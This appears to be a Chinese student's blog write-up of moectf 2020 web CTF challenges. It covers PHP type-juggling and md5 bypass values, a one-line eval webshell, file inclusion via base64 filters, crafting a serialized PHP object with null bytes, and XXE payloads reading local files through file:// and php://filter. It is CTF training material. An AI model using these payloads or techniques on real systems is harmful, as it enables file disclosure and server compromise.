抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

BlackBird的博客

这世界上所有的不利状况,都是当事者能力不足导致的

作为一个二进制手……我把web强行做完,我太难了……

GET

image-20201012095628380

POST

image-20201012095732293

小饼干

小饼干?cookie!

image-20201012095851718

url解码:

moectf{y0u_c4n't_e4t_thi3_c00k1e}

Introduction

image-20201012100120336

进入网页,Ctrl+U看源码,Ctrl+F搜索

image-20201012100209487

image-20201012100245521

一句话

一句话木马还是一个比较常见的考点, 现在直接AntSword或者Cknife一把梭,建议AntSword,,,

image-20201012213313189

image-20201012213344797

moectf{0hhhh!!!y0u_know_h0w_to_u3e_eva1}

EzMath

刷新那么快,肯定不能用手来算,这块就需要用脚本,这个题特别像bugku的一道题目:秋名山老司机。找了找之前的笔记,就有了这样一个脚本:

import requests
import re
url = 'http://39.98.86.109:10001/index.php'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'a': result}
print(s.post(url, data = post).text)

淦!!!复现的时候环境没了,,这里贴一下秋名山老司机这个题。可以尝试着把我上面的脚本改一下~

三心二意

先贴源码:

<?php
$a = $_GET['a'];
$b = $_POST['b'];
$c = $_REQUEST['c'];
$d = $_COOKIE['d'];

if (!isset($a, $b, $c, $d)) {
    highlight_file(__FILE__);
} else {
    if (is_numeric($a) and $a == false) { //a=0
        echo 'A is OK!';
        echo '<br/>';
        if (!is_numeric($b) and $b == 0x125e591) { //b=19260817a
            echo 'B is OK!';
            echo '<br/>';
            if ($c != 240610708 and md5($c) == md5(240610708)) { //c=s214587387a
                echo 'C is OK!';
                echo '<br/>';
                if (strlen($d) < 7 and $d != 0 and $d ** 2 == 0) { //d[]=
                    include('/flag');
                } else {
                    echo "D is not wanted.<br/>";
                    highlight_file(__FILE__);
                }
            } else {
                echo "C is not wanted.<br/>";
                highlight_file(__FILE__);
            }
        } else {
            echo "Too young too simple.<br/>";
            highlight_file(__FILE__);
        }
    } else {
        echo "A is not wanted.<br/>";
        highlight_file(__FILE__);
    }
}

一看就知道这个题目考察的是php语言的一些小tricks,先把a,b,c,d四个变量都设置值,然后再一个一个调

a不解释,,,

b不解释,,,

c是md5绕过,可以看下这篇文章

d不解释,,,

就这吧~爱会消失对不对

俄罗斯头套

这个题,没做过类似的,现场百度,查到这个题的考点是http响应头,那么这个题也就没什么说的了,抓包,改响应头……就完了

这里放两张修改后的:image-20201012225925372

image-20201012230029417

moectf{r3que5t_he4der_1s_ea5y!!}

include

盲猜文件包含漏洞,,,点开do not click???我偏要click,然后看源码:

image-20201012230214247

果然,和猜的一样。

先试一下:image-20201012230339016

好吧,我想的有点简单了。他的flag应该是在注释里面,那我们把整个文件base64一下就好了:image-20201012230449160

Moe unserialize

由题干猜考点:反序列化 image-20201012230625656

这里第一个考点是vim的备份文件,我们输入

http://web.moectf.online/unserialize/.index.php.swp

下载文件,然后在wsl里面用vim把swp备份文件恢复

<?php
error_reporting(0);
class Moe {
    public $a;
    protected $b;
    private $c;


    function __destruct() {
        if ($this->a === '1' && $this->b === '2' && $this->c === '3') {
            include 'flag.php';
            die($flag);
        }
    }
}
$moe = $_GET['flag'];
unserialize($moe);
?>
有一天,赤道企鹅在愉快的使用vim给学弟挖坑,突然伴随着身体的一阵抽搐,电脑死机了。企鹅悲痛欲绝,聪明的你能帮助企鹅找到他挖的坑吗?

代码审计(阅读,写一个脚本生成序列化的结果

<?php
class Moe {
    public $a = '1';
    protected $b = '2';
    private $c = '3';
        }

$a = new Moe()
echo serialize($a)
?>

image-20201012234139309

我们把这些内容get提交到flag里面,,,嗯???没反应???

这里感谢一下Noah大佬(Noah,yyds),他说:你个屈屈一个菜鸡bb,这里面有空字符没显示出来,你个辣鸡!!!

我留下了屈辱的泪水,然后便查了一下相关资料:

image-20201012235635813

知道直接复制粘贴网页上的内容是不行的,于是再次打开自己脚本的输出界面,Ctrl+U查看源代码,发现端倪:image-20201012235915242

在这里我们就可以看到缺少的空字符,所以我们在get的时候手动加上%00就好了。image-20201013000007210

XXE

没接触过,即刻学习XXE漏洞然后又看了看i春秋上面的视频,就尝试做这个题目。

先大致代码审计(阅读一下

<?php
// flag is in '/flags/flag1.txt' and '/flags/flag2.php'

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');

if (strpos($xmlfile,"flag1.txt") !== FALSE){
    if (strpos($xmlfile,'file:/') === FALSE){
        die("Please use file protocol.<br/><br/>");
    }
}
if (strpos($xmlfile,"flag2.php") !== FALSE){
    if (strpos($xmlfile,'file:/') !== FALSE){
        echo "Why not try php://filter?";
        echo '<br/><br/>';
    }
}

$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
$test = simplexml_import_dom($dom);
echo $test;
highlight_file(__FILE__);
?>

知道题目先把flag分成两个部分,然后分别采用两种协议,所以我们需要写两个payload。

<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY f SYSTEM "file:///flags/flag1.txt">
]>
<x>&f;</x>


<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=/flags/flag2.php">
]>
<x>&f;</x>

image-20201013001310512

image-20201013001332613

base64解一下:

第一部分:moectf{XXE_

第二部分密文:PD9waHAgJGZsYWcyID0gJzRuZF9waHBfZjFsdDNyfSc7ID8+

第二部分:

moectf{XXE_4nd_php_f1lt3r}

评论